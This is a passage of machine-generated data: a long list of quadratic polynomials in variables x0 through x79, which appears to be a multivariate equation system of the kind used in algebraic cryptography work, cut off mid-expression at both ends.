x33*x35 + x33*x38 + x33*x39 + x33*x40 + x33*x45 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x61 + x33*x64 + x33*x66 + x33*x67 + x33*x69 + x33*x71 + x33*x78 + x33 + x34*x36 + x34*x42 + x34*x48 + x34*x49 + x34*x50 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x59 + x34*x64 + x34*x65 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x76 + x34*x78 + x34*x79 + x34 + x35*x37 + x35*x39 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x53 + x35*x54 + x35*x59 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x46 + x36*x48 + x36*x51 + x36*x52 + x36*x55 + x36*x57 + x36*x64 + x36*x67 + x36*x68 + x36*x69 + x36*x71 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x39 + x37*x41 + x37*x43 + x37*x44 + x37*x45 + x37*x47 + x37*x52 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x63 + x37*x64 + x37*x65 + x37*x68 + x37*x70 + x37*x72 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x48 + x38*x50 + x38*x52 + x38*x55 + x38*x62 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x69 + x38*x71 + x38*x73 + x38*x76 + x38*x79 + x38 + x39*x43 + x39*x48 + x39*x49 + x39*x51 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x68 + x39*x70 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x47 + x40*x49 + x40*x50 + x40*x52 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x60 + x40*x62 + x40*x65 + x40*x66 + x40*x70 + x40*x74 + x40*x79 + x41*x42 + x41*x50 + x41*x52 + x41*x53 + x41*x55 + x41*x60 + x41*x66 + x41*x70 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x42*x43 + x42*x46 + x42*x48 + x42*x49 + x42*x53 + x42*x55 + x42*x58 + x42*x60 + x42*x64 + x42*x66 + x42*x67 + x42*x71 + x42*x73 + x42*x75 + x42 + x43*x48 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x63 + x43*x64 + x43*x67 + x43*x69 + x43*x70 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x52 + x44*x57 + x44*x59 + x44*x62 + x44*x65 + x44*x68 + x44*x78 + x44*x79 + x44 + x45*x48 + x45*x49 + x45*x53 + x45*x55 + x45*x57 + x45*x58 + x45*x60 + x45*x64 + x45*x69 + x45*x72 + x45*x73 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x54 + x46*x55 + x46*x57 + x46*x59 + x46*x61 + x46*x63 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x49 + x47*x50 + x47*x51 + x47*x54 + x47*x57 + x47*x58 + x47*x59 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x69 + x47*x70 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x56 + x48*x57 + x48*x59 + x48*x60 + x48*x65 + x48*x66 + x48*x70 + x48*x73 + x48*x76 + x48*x77 + x48*x78 + x49*x50 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x59 + x49*x64 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x75 + x49*x78 + x49 + x50*x52 + x50*x54 + x50*x55 + x50*x58 + x50*x59 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x77 + x50*x79 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x61 + x51*x64 + x51*x67 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x74 + x51*x75 + x51*x76 + x51 + x52*x55 + x52*x56 + x52*x57 + x52*x63 + x52*x64 + x52*x65 + x52*x67 + x52*x70 + x52*x71 + x52*x73 + x52*x74 + x52*x78 + x53*x54 + x53*x57 + x53*x59 + x53*x61 + x53*x65 + x53*x67 + x53*x68 + x53*x69 + x53*x72 + x53*x75 + x53*x78 + x54*x57 + x54*x58 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x72 + x54*x74 + x54*x75 + x54*x76 + x54*x79 + x54 + x55*x56 + x55*x58 + x55*x60 + x55*x61 + x55*x63 + x55*x64 + x55*x65 + x55*x67 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x55*x79 + x56*x57 + x56*x58 + x56*x59 + x56*x61 + x56*x64 + x56*x65 + x56*x67 + x56*x68 + x56*x70 + x56*x72 + x56*x76 + x56*x77 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x63 + x57*x66 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x63 + x58*x64 + x58*x71 + x58*x73 + x58*x76 + x58*x78 + x58*x79 + x59*x62 + x59*x65 + x59*x67 + x59*x68 + x59*x71 + x59*x73 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x60*x65 + x60*x69 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x76 + x60*x78 + x60*x79 + x60 + x61*x63 + x61*x66 + x61*x67 + x61*x72 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x61*x78 + x62*x64 + x62*x69 + x62*x71 + x62*x75 + x63*x64 + x63*x66 + x63*x67 + x63*x69 + x63*x76 + x63*x77 + x63*x79 + x64*x66 + x64*x67 + x64*x69 + x64*x70 + x64*x73 + x64*x77 + x64*x78 + x65*x68 + x65*x72 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x66*x68 + x66*x71 + x66*x79 + x66 + x67*x75 + x67*x77 + x68*x69 + x68*x72 + x68*x75 + x68*x76 + x69*x71 + x69*x72 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x69 + x70*x73 + x70*x75 + x70*x77 + x70*x79 + x71*x72 + x71*x73 + x71*x74 + x71*x76 + x71 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x78 + x74 + x75*x76 + x75*x77 + x75*x78 + x75 + x76*x77 + x76*x79 + x76 + x77*x78 + x77*x79 + x77 + x78*x79 + x78 + x79, x0*x1 + x0*x3 + x0*x6 + x0*x9 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x24 + x0*x25 + x0*x26 + x0*x28 + x0*x29 + x0*x32 + x0*x34 + x0*x36 + x0*x38 + x0*x40 + x0*x42 + x0*x43 + x0*x44 + x0*x47 + x0*x49 + x0*x54 + x0*x55 + x0*x56 + x0*x59 + x0*x62 + x0*x66 + x0*x68 + x0*x69 + x0*x70 + x0*x74 + x0*x75 + x0*x76 + x0*x78 + x0 + x1*x5 + x1*x7 + x1*x17 + x1*x19 + x1*x21 + x1*x23 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x49 + x1*x50 + x1*x51 + x1*x54 + x1*x56 + x1*x57 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x70 + x1*x74 + x1*x79 + x1 + x2*x4 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x17 + x2*x18 + x2*x20 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x34 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x43 + x2*x47 + x2*x49 + x2*x50 + x2*x52 + x2*x54 + x2*x55 + x2*x57 + x2*x58 + x2*x65 + x2*x73 + x2*x76 + x3*x5 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x33 + x3*x34 + x3*x35 + x3*x37 + x3*x39 + x3*x43 + x3*x45 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x54 + x3*x57 + x3*x60 + x3*x66 + x3*x67 + x3*x68 + x3*x70 + x3*x71 + x3*x72 + x3*x76 + x3*x77 + x3*x78 + x3 + x4*x5 + x4*x10 + x4*x13 + x4*x15 + x4*x17 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x28 + x4*x30 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x41 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x54 + x4*x55 + x4*x57 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x71 + x4*x72 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x17 + x5*x21 + x5*x22 + x5*x25 + x5*x26 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x54 + x5*x55 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x68 + x5*x73 + x5*x74 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x10 + x6*x13 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x21 + x6*x23 + x6*x25 + x6*x27 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x52 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x26 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x42 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x58 + x7*x63 + x7*x64 + x7*x68 + x7*x69 + x7*x71 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x18 + x8*x19 + x8*x23 + x8*x25 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x40 + x8*x42 + x8*x46 + x8*x47 + x8*x49 + x8*x51 + x8*x54 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x70 + x8*x71 + x8*x75 + x8*x76 + x8*x78 + x8*x79 + x9*x10 + x9*x14 + x9*x15 + x9*x18 + x9*x22 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x30 + x9*x31 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x48 + x9*x51 + x9*x52 + x9*x53 + x9*x54 + x9*x55 + x9*x59 + x9*x60 + x9*x64 + x9*x65 + x9*x67 + x9*x75 + x9*x79 + x10*x12 + x10*x14 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x23 + x10*x25 + x10*x27 + x10*x28 + x10*x30 + x10*x33 + x10*x36 + x10*x44 + x10*x46 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x54 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x67 + x10*x70 + x10*x73 + x10*x75 + x10*x76 + x11*x14 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x28 + x11*x32 + x11*x33 + x11*x36 + x11*x39 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x62 + x11*x63 + x11*x64 + x11*x69 + x11*x72 + x11*x73 + x11*x74 + x11*x76 + x11*x78 + x11 + x12*x14 + x12*x15 + x12*x18 + x12*x20 + x12*x21 + x12*x24 + x12*x25 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x35 + x12*x36 + x12*x38 + x12*x40 + x12*x42 + x12*x43 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x58 + x12*x61 + x12*x62 + x12*x66 + x12*x67 + x12*x69 + x12 + x13*x16 + x13*x19 + x13*x20 + x13*x22 + x13*x24 + x13*x25 + x13*x26 + x13*x27 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x37 + x13*x40 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x69 + x13*x70 + x13*x73 + x13*x74 + x13*x75 + x13*x77 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x22 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x33 + x14*x34 + x14*x38 + x14*x40 + x14*x41 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x52 + x14*x54 + x14*x55 + x14*x56 + x14*x60 + x14*x61 + x14*x63 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x76 + x14*x79 + x15*x17 + x15*x18 + x15*x19 + x15*x23 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x36 + x15*x38 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x48 + x15*x51 + x15*x54 + x15*x60 + x15*x62 + x15*x66 + x15*x68 + x15*x69 + x15*x74 + x15*x76 + x16*x20 + x16*x22 + x16*x23 + x16*x26 + x16*x27 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x34 + x16*x36 + x16*x37 + x16*x38 + x16*x40 + x16*x44 + x16*x47 + x16*x48 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x64 + x16*x66 + x16*x67 + x16*x71 + x16*x72 + x16*x74 + x16*x75 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x27 + x17*x28 + x17*x29 + x17*x31 + x17*x33 + x17*x34 + x17*x37 + x17*x38 + x17*x40 + x17*x42 + x17*x47 + x17*x50 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x70 + x17*x71 + x17*x74 + x17*x77 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x49 + x18*x50 + x18*x51 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x56 + x18*x60 + x18*x61 + x18*x64 + x18*x65 + x18*x66 + x18*x70 + x18*x72 + x18*x75 + x18*x77 + x18*x79 + x19*x22 + x19*x24 + x19*x27 + x19*x28 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x37 + x19*x38 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x58 + x19*x61 + x19*x62 + x19*x63 + x19*x67 + x19*x69 + x19*x70 + x19*x71 + x19*x72 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x20*x21 + x20*x23 + x20*x25 + x20*x29 + x20*x34 + x20*x39 + x20*x40 + x20*x48 + x20*x51 + x20*x53 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x69 + x20*x73 + x20*x74 + x20*x77 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x35 + x21*x37 + x21*x38 + x21*x43 + x21*x44 + x21*x46 + x21*x48 + x21*x49 + x21*x50 + x21*x52 + x21*x56 + x21*x60 + x21*x61 + x21*x63 + x21*x64 + x21*x65 + x21*x68 + x21*x69 + x21*x72 + x21*x73 + x21*x76 + x21*x79 + x21 + x22*x25 + x22*x26 + x22*x27 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x44 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x60 + x22*x63 + x22*x64 + x22*x66 + x22*x68 + x22*x70 + x22*x71 + x22 + x23*x25 + x23*x30 + x23*x31 + x23*x32 + x23*x36 + x23*x41 + x23*x43 + x23*x44 + x23*x46 + x23*x47 + x23*x50 + x23*x51 + x23*x53 + x23*x54 + x23*x58 + x23*x61 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x71 + x23*x73 + x23*x74 + x23*x76 + x23*x78 + x24*x26 + x24*x27 + x24*x32 + x24*x34 + x24*x36 + x24*x38 + x24*x41 + x24*x45 + x24*x47 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x59 + x24*x63 + x24*x65 + x24*x71 + x24*x73 + x24*x75 + x24*x76 + x24*x78 + x24 + x25*x26 + x25*x28 + x25*x29 + x25*x31 + x25*x32 + x25*x40 + x25*x44 + x25*x45 + x25*x48 + x25*x51 + x25*x52 + x25*x55 + x25*x58 + x25*x60 + x25*x61 + x25*x66 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x74 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x31 + x26*x36 + x26*x39 + x26*x40 + x26*x43 + x26*x44 + x26*x45 + x26*x47 + x26*x50 + x26*x52 + x26*x54 + x26*x58 + x26*x64 + x26*x65 + x26*x68 + x26*x69 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x27*x28 + x27*x29 + x27*x31 + x27*x32 + x27*x35 + x27*x39 + x27*x40 + x27*x43 + x27*x44 + x27*x46 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x58 + x27*x60 + x27*x63 + x27*x64 + x27*x67 + x27*x68 + x27*x72 + x27*x75 + x27*x76 + x27*x79 + x28*x29 + x28*x32 + x28*x37 + x28*x38 + x28*x39 + x28*x41 + x28*x42 + x28*x44 + x28*x46 + x28*x48 + x28*x49 + x28*x52 + x28*x53 + x28*x55 + x28*x57 + x28*x59 + x28*x61 + x28*x63 + x28*x64 + x28*x68 + x28*x73 + x28*x74 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x33 + x29*x35 + x29*x37 + x29*x42 + x29*x43 + x29*x46 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x57 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x68 + x29*x69 + x29*x70 + x29*x73 + x29*x74 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x34 + x30*x35 + x30*x37 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x53 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x63 + x30*x65 + x30*x66 + x30*x67 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x39 + x31*x44 + x31*x46 + x31*x47 + x31*x60 + x31*x61 + x31*x64 + x31*x67 + x31*x68 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31*x77 + x31*x79 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x45 + x32*x46 + x32*x47 + x32*x50 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x56 + x32*x62 + x32*x63 + x32*x64 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x78 + x32*x79 + x33*x35 + x33*x38 + x33*x40 + x33*x41 + x33*x47 + x33*x50 + x33*x53 + x33*x54 + x33*x56 + x33*x58 + x33*x62 + x33*x63 + x33*x65 + x33*x66 + x33*x68 + x33*x69 + x33*x72 + x33*x73 + x33*x74 + x33*x76 + x33*x79 + x34*x36 + x34*x38 + x34*x40 + x34*x43 + x34*x45 + x34*x46 + x34*x48 + x34*x54 + x34*x56 + x34*x59 + x34*x60 + x34*x61 + x34*x64 + x34*x66 + x34*x70 + x34*x72 + x34*x76 + x34*x77 + x34*x78 + x35*x41 + x35*x42 + x35*x45 + x35*x47 + x35*x48 + x35*x49 + x35*x51 + x35*x54 + x35*x58 + x35*x61 + x35*x62 + x35*x63 + x35*x70 + x35*x71 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x35 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x50 + x36*x51 + x36*x53 + x36*x60 + x36*x64 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x40 + x37*x46 + x37*x48 + x37*x50 + x37*x57 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x78 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x48 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x78 + x39*x40 + x39*x44 + x39*x47 + x39*x50 + x39*x51 + x39*x54 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39 + x40*x42 + x40*x43 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x59 + x40*x60 + x40*x61 + x40*x67 + x40*x68 + x40*x70 + x40*x74 + x40*x76 + x40*x78 + x41*x42 + x41*x43 + x41*x51 + x41*x52 + x41*x54 + x41*x55 + x41*x58 + x41*x61 + x41*x63 + x41*x65 + x41*x69 + x41*x72 + x41*x78 + x42*x44 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x50 + x42*x57 + x42*x59 + x42*x68 + x42*x72 + x42*x74 + x42*x75 + x42*x78 + x42 + x43*x44 + x43*x47 + x43*x49 + x43*x51 + x43*x53 + x43*x58 + x43*x59 + x43*x64 + x43*x65 + x43*x67 + x43*x70 + x43*x72 + x43*x73 + x43 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x52 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x63 + x44*x65 + x44*x66 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x77 + x45*x46 + x45*x47 + x45*x51 + x45*x53 + x45*x54 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x68 + x45*x74 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x52 + x46*x53 + x46*x56 + x46*x58 + x46*x59 + x46*x61 + x46*x63 + x46*x67 + x46*x69 + x46*x70 + x46*x73 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x51 + x47*x52 + x47*x53 + x47*x54 + x47*x56 + x47*x61 + x47*x62 + x47*x64 + x47*x66 + x47*x68 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x77 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x65 + x48*x66 + x48*x69 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x49*x52 + x49*x54 + x49*x55 + x49*x58 + x49*x61 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x70 + x49*x73 + x49*x75 + x49*x76 + x50*x51 + x50*x52 + x50*x53 + x50*x55 + x50*x59 + x50*x60 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x73 + x50*x74 + x50*x75 + x50*x77 + x50 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x65 + x51*x67 + x51*x75 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x66 + x52*x67 + x52*x69 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x60 + x53*x62 + x53*x63 + x53*x65 + x53*x67 + x53*x68 + x53*x69 + x53*x71 + x53*x72 + x53*x73 + x53*x75 + x54*x57 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x70 + x54*x72 + x54*x77 + x54*x79 + x55*x56 + x55*x57 + x55*x59 + x55*x61 + x55*x62 + x55*x64 + x55*x68 + x55*x70 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x66 + x56*x68 + x56*x73 + x56*x75 + x56*x76 + x56*x77 + x56 + x57*x59 + x57*x62 + x57*x65 + x57*x66 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x68 + x58*x72 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x61 + x59*x63 + x59*x64 + x59*x65 + x59*x67 + x59*x71 + x59*x72 + x59*x74 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x71 + x60*x75 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x65 + x61*x66 + x61*x67 + x61*x68 + x61*x71 + x61*x75 + x61*x76 + x61*x77 + x61 + x62*x64 + x62*x65 + x62*x68 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x75 + x62*x77 + x62*x78 + x63*x64 + x63*x69 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x65 + x64*x66 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x64*x78 + x65*x67 + x65*x69 + x65*x71 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x68 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x67*x68 + x67*x70 + x67*x71 + x67*x72 + x67*x77 + x68*x70 + x68*x74 + x68*x75 + x68*x78 + x68*x79 + x69*x70 + x69*x71 + x69*x72 + x69*x73 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x75 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x73*x77 + x74*x75 + x74*x79 + x75*x76 + x76 + x77 + 1, x0*x1 + x0*x4 + x0*x6 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x20 + x0*x28 + x0*x29 + x0*x31 + x0*x33 + x0*x35 + x0*x37 + x0*x40 + x0*x42 + x0*x44 + x0*x48 